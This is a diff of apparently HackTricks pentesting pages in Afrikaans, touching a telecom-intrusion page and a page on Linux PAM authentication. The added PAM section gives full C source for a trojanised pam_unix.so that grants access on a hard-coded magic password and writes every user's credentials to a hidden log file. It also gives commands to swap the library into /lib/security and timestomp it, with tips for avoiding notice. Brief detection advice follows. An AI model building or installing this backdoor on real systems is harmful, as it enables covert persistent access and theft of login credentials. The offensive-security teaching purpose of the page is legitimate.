|
||||
* `Responder` : LLMNR/NBT-NS rogue WPAD
|
||||
* `Microsocks` + `ProxyChains` : liggewig SOCKS5 pivoting
|
||||
* `FRP` (≥0.37) : NAT traversie / bates bridging
|
||||
|
||||
---
|
||||
## Opsporingsidees
|
||||
1. **Enige toestel anders as 'n SGSN/GGSN wat Create PDP Context Requests tot stand bring**.
|
||||
2. **Nie-standaard poorte (53, 80, 443) wat SSH handdrukke ontvang** van interne IP's.
|
||||
3. **Frekwente Echo Requests sonder ooreenstemmende Echo Responses** – kan GTPDoor bakens aandui.
|
||||
4. **Hoë tempo van ICMP echo-reply verkeer met groot, nie-nul identifiseerder/volgorde velde**.
|
||||
|
||||
## Verwysings
|
||||
|
||||
- [Palo Alto Unit42 – Infiltratie van Globale Telekomnetwerke](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
|
||||
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -26,16 +26,16 @@ session required /lib/security/pam_unix_session.so
|
||||
```
|
||||
#### **PAM Bestuur Ranges**
|
||||
|
||||
Hierdie ranges, of bestuursgroepe, sluit **auth**, **account**, **password**, en **session** in, elk verantwoordelik vir verskillende aspekte van die verifikasie en sessiebestuur proses:
|
||||
Hierdie ranges, of bestuursgroepe, sluit **auth**, **account**, **password**, en **session** in, elk verantwoordelik vir verskillende aspekte van die outentikasie en sessiebestuur proses:
|
||||
|
||||
- **Auth**: Verifieer gebruikersidentiteit, dikwels deur vir 'n wagwoord te vra.
|
||||
- **Account**: Hanteer rekeningverifikasie, wat toestande soos groepslidmaatskap of tydsbeperkings nagaan.
|
||||
- **Auth**: Valideer gebruikersidentiteit, dikwels deur vir 'n wagwoord te vra.
|
||||
- **Account**: Hanteer rekeningverifikasie, wat toestande soos groeplidmaatskap of tydsbeperkings nagaan.
|
||||
- **Password**: Bestuur wagwoordopdaterings, insluitend kompleksiteitskontroles of voorkoming van woordeboekaanvalle.
|
||||
- **Session**: Bestuur aksies tydens die begin of einde van 'n diensessie, soos om gidse te monteer of hulpbronlimiete te stel.
|
||||
|
||||
#### **PAM Module Beheer**
|
||||
|
||||
Beheer bepaal die module se reaksie op sukses of mislukking, wat die algehele verifikasieproses beïnvloed. Hierdie sluit in:
|
||||
Beheer bepaal die module se reaksie op sukses of mislukking, wat die algehele outentikasieproses beïnvloed. Hierdie sluit in:
|
||||
|
||||
- **Required**: Mislukking van 'n vereiste module lei tot uiteindelike mislukking, maar slegs nadat alle daaropvolgende modules nagegaan is.
|
||||
- **Requisite**: Onmiddellike beëindiging van die proses by mislukking.
|
||||
@ -44,10 +44,65 @@ Beheer bepaal die module se reaksie op sukses of mislukking, wat die algehele ve
|
||||
|
||||
#### Voorbeeld Scenario
|
||||
|
||||
In 'n opstelling met meerdere auth modules volg die proses 'n strikte volgorde. As die `pam_securetty` module die aanmeldterminal as nie-geautoriseer vind, word root aanmeldings geblokkeer, maar alle modules word steeds verwerk weens sy "required" status. Die `pam_env` stel omgewing veranderlikes in, wat moontlik help met die gebruikerservaring. Die `pam_ldap` en `pam_unix` modules werk saam om die gebruiker te verifieer, met `pam_unix` wat probeer om 'n voorheen verskafde wagwoord te gebruik, wat doeltreffendheid en buigsaamheid in verifikasiemetodes verbeter.
|
||||
In 'n opstelling met meerdere auth modules volg die proses 'n streng volgorde. As die `pam_securetty` module die aanmeldterminal as nie-geautoriseer vind, word root aanmeldings geblokkeer, maar alle modules word steeds verwerk weens sy "required" status. Die `pam_env` stel omgewing veranderlikes in, wat moontlik help met die gebruikerservaring. Die `pam_ldap` en `pam_unix` modules werk saam om die gebruiker te outentiseer, met `pam_unix` wat probeer om 'n voorheen verskafde wagwoord te gebruik, wat doeltreffendheid en buigsaamheid in outentikasie metodes verbeter.
|
||||
|
||||
### References
|
||||
## Backdooring PAM – Hooking `pam_unix.so`
|
||||
|
||||
'n Klassieke volhardingstrik in hoëwaarde Linux omgewings is om die **legitieme PAM biblioteek met 'n trojaniseerde drop-in te vervang**. Omdat elke SSH / konsole aanmelding uiteindelik `pam_unix.so:pam_sm_authenticate()` aanroep, is 'n paar lyne C genoeg om akrediteer te vang of 'n *magic* wagwoord omseiling te implementeer.
|
||||
|
||||
### Kompilasie Cheatsheet
|
||||
```c
|
||||
#define _GNU_SOURCE
|
||||
#include <security/pam_modules.h>
|
||||
#include <dlfcn.h>
|
||||
#include <stdio.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
|
||||
static int (*orig)(pam_handle_t *, int, int, const char **);
|
||||
static const char *MAGIC = "Sup3rS3cret!";
|
||||
|
||||
int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
|
||||
const char *user, *pass;
|
||||
pam_get_user(pamh, &user, NULL);
|
||||
pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);
|
||||
|
||||
/* Magic pwd → immediate success */
|
||||
if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS;
|
||||
|
||||
/* Credential harvesting */
|
||||
int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600);
|
||||
dprintf(fd, "%s:%s\n", user, pass);
|
||||
close(fd);
|
||||
|
||||
/* Fall back to original function */
|
||||
if(!orig) {
|
||||
orig = dlsym(RTLD_NEXT, "pam_sm_authenticate");
|
||||
}
|
||||
return orig(pamh, flags, argc, argv);
|
||||
}
|
||||
```
|
||||
Compile en stealth-vervang:
|
||||
```bash
|
||||
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
|
||||
mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
|
||||
mv pam_unix.so /lib/security/pam_unix.so
|
||||
chmod 644 /lib/security/pam_unix.so # keep original perms
|
||||
touch -r /bin/ls /lib/security/pam_unix.so # timestomp
|
||||
```
|
||||
### OpSec Wenke
|
||||
1. **Atomiese oorskrywing** – skryf na 'n tydelike lêer en `mv` dit in plek om half-geskrewe biblioteke te vermy wat SSH sou vergrendel.
|
||||
2. Log lêer plasing soos `/usr/bin/.dbus.log` meng met legitieme lessenaar artefakte.
|
||||
3. Hou simbool uitvoer identies (`pam_sm_setcred`, ens.) om PAM misgedrag te vermy.
|
||||
|
||||
### Opsporing
|
||||
* Vergelyk MD5/SHA256 van `pam_unix.so` teen distro pakket.
|
||||
* Kontroleer vir wêreld-skryfbare of ongewone eienaarskap onder `/lib/security/`.
|
||||
* `auditd` reël: `-w /lib/security/pam_unix.so -p wa -k pam-backdoor`.
|
||||
|
||||
### Verwysings
|
||||
|
||||
- [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
|
||||
- [Palo Alto Unit42 – Infiltratie van Globale Telekomnetwerke](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user